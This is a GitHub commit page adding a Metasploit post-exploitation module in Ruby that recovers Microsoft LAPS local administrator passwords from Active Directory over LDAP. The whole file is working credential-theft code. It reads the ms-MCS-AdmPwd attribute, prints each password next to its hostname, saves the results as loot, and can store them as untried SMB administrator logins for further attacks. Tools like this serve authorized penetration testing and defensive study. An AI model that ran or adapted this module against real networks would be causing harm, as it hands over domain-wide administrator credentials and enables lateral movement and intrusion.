Skip to content

Commit a37ac1b

Browse files
committed
Land rapid7#5590, @Meatballs1 adds MS LAPS Enum post mod
2 parents 32d5e7f + 9c4a967 commit a37ac1b

File tree

1 file changed

+188
-0
lines changed

1 file changed

+188
-0
lines changed
Lines changed: 188 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,188 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex'
7+
require 'msf/core'
8+
require 'msf/core/auxiliary/report'
9+
10+
class Metasploit3 < Msf::Post
11+
12+
include Msf::Auxiliary::Report
13+
include Msf::Post::Windows::LDAP
14+
15+
FIELDS = ['distinguishedName',
16+
'dNSHostName',
17+
'ms-MCS-AdmPwd',
18+
'ms-MCS-AdmPwdExpirationTime'].freeze
19+
20+
def initialize(info={})
21+
super(update_info(info,
22+
'Name' => 'Windows Gather Credentials Local Administrator Password Solution',
23+
'Description' => %Q{
24+
This module will recover the LAPS (Local Administrator Password Solution) passwords,
25+
configured in active directory. Note, only privileged users should be able to access
26+
these fields. Note: The local administrator account name is not stored in active directory,
27+
so we assume that this will be 'Administrator' by default.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' =>
31+
[
32+
'Ben Campbell',
33+
],
34+
'Platform' => [ 'win' ],
35+
'SessionTypes' => [ 'meterpreter' ],
36+
))
37+
38+
register_options([
39+
OptString.new('LOCAL_ADMIN_NAME', [true, 'The username to store the password against', 'Administrator']),
40+
OptBool.new('STORE_DB', [true, 'Store file in loot.', false]),
41+
OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),
42+
OptString.new('FILTER', [true, 'Search filter.', '(objectCategory=Computer)'])
43+
], self.class)
44+
45+
deregister_options('FIELDS')
46+
end
47+
48+
def run
49+
search_filter = datastore['FILTER']
50+
max_search = datastore['MAX_SEARCH']
51+
52+
begin
53+
q = query(search_filter, max_search, FIELDS)
54+
rescue RuntimeError => e
55+
print_error(e.message)
56+
return
57+
end
58+
59+
if q.nil? || q[:results].empty?
60+
print_status('No results returned.')
61+
else
62+
print_status('Parsing results...')
63+
results_table = parse_results(q[:results])
64+
print_line results_table.to_s
65+
66+
if datastore['STORE_LOOT']
67+
stored_path = store_loot('laps.passwords', 'text/plain', session, results_table.to_csv)
68+
print_status("Results saved to: #{stored_path}")
69+
end
70+
end
71+
end
72+
73+
# Takes the results of LDAP query, parses them into a table
74+
# and records and usernames as {Metasploit::Credential::Core}s in
75+
# the database if datastore option STORE_DB is true.
76+
#
77+
# @param [Array<Array<Hash>>] the LDAP query results to parse
78+
# @return [Rex::Ui::Text::Table] the table containing all the result data
79+
def parse_results(results)
80+
laps_results = []
81+
# Results table holds raw string data
82+
results_table = Rex::Ui::Text::Table.new(
83+
'Header' => 'Local Administrator Password Solution (LAPS) Results',
84+
'Indent' => 1,
85+
'SortIndex' => -1,
86+
'Columns' => FIELDS
87+
)
88+
89+
results.each do |result|
90+
row = []
91+
92+
result.each do |field|
93+
if field.nil?
94+
row << ""
95+
else
96+
if field[:type] == :number
97+
value = convert_windows_nt_time_format(field[:value])
98+
else
99+
value = field[:value]
100+
end
101+
row << value
102+
end
103+
end
104+
105+
hostname = result[FIELDS.index('dNSHostName')][:value].downcase
106+
password = result[FIELDS.index('ms-MCS-AdmPwd')][:value]
107+
dn = result[FIELDS.index('distinguishedName')][:value]
108+
expiration = convert_windows_nt_time_format(result[FIELDS.index('ms-MCS-AdmPwdExpirationTime')][:value])
109+
110+
unless password.to_s.empty?
111+
results_table << row
112+
laps_results << { hostname: hostname,
113+
password: password,
114+
dn: dn,
115+
expiration: expiration
116+
}
117+
end
118+
end
119+
120+
if datastore['STORE_DB']
121+
print_status('Resolving IP addresses...')
122+
hosts = []
123+
laps_results.each do |h|
124+
hosts << h[:hostname]
125+
end
126+
127+
resolve_results = client.net.resolve.resolve_hosts(hosts)
128+
129+
# Match each IP to a host...
130+
resolve_results.each do |r|
131+
l = laps_results.find{ |laps| laps[:hostname] == r[:hostname] }
132+
l[:ip] = r[:ip]
133+
end
134+
135+
laps_results.each do |r|
136+
next if r[:ip].to_s.empty?
137+
next if r[:password].to_s.empty?
138+
store_creds(datastore['LOCAL_ADMIN_NAME'], r[:password], r[:ip])
139+
end
140+
end
141+
142+
results_table
143+
end
144+
145+
146+
def store_creds(username, password, ip)
147+
service_data = {
148+
address: ip,
149+
port: 445,
150+
service_name: 'smb',
151+
protocol: 'tcp',
152+
workspace_id: myworkspace_id
153+
}
154+
155+
credential_data = {
156+
origin_type: :session,
157+
session_id: session_db_id,
158+
post_reference_name: refname,
159+
username: username,
160+
private_data: password,
161+
private_type: :password
162+
}
163+
164+
credential_data.merge!(service_data)
165+
166+
# Create the Metasploit::Credential::Core object
167+
credential_core = create_credential(credential_data)
168+
169+
# Assemble the options hash for creating the Metasploit::Credential::Login object
170+
login_data = {
171+
core: credential_core,
172+
access_level: 'Administrator',
173+
status: Metasploit::Model::Login::Status::UNTRIED
174+
}
175+
176+
# Merge in the service data and create our Login
177+
login_data.merge!(service_data)
178+
create_credential_login(login_data)
179+
end
180+
181+
# https://gist.github.com/nowhereman/189111
182+
def convert_windows_nt_time_format(windows_time)
183+
unix_time = windows_time.to_i/10000000-11644473600
184+
ruby_time = Time.at(unix_time)
185+
ruby_time.strftime("%d/%m/%Y %H:%M:%S GMT %z")
186+
end
187+
188+
end

0 commit comments

Comments
 (0)